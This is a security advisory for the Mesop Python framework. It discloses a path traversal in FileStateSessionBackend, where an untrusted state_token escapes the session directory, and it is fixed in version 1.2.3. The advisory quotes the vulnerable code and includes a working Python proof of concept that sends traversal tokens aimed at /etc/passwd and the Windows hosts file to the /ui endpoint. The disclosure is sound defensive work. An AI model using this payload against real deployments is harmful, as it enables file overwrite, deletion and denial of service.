GHSA-8qvf-mr4w-9x2c Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

• PyPI mesop: < 1.2.3 → fixed in 1.2.3

Summary A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. Details When the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. In `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`. Because this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). ```python mesop/server/state_session.py def _make_file_path(self, token: str) -> Path: return self.base_dir / (self.prefix + token) ``` Python's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent. PoC An attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream. ```python import requests import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled 1. Craft the malicious protobuf message user_event = pb.UserEvent() Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file user_event.state_token = "../../../../etc/passwd" Alternatively, targeting Windows: user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts" serialized_event = user_event.SerializeToString() 2. Send the message to the ui stream endpoint headers = {'Content-Type': 'application/x-protobuf'} response = requests.post( "http://localhost:32123/ui", data=serialized_event, headers=headers ) The server will attempt to parse /etc/passwd using msgpack, resulting in a crash or reading/overwriting operations depending on the request type invoked. print(response.content) ``` Impact This vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.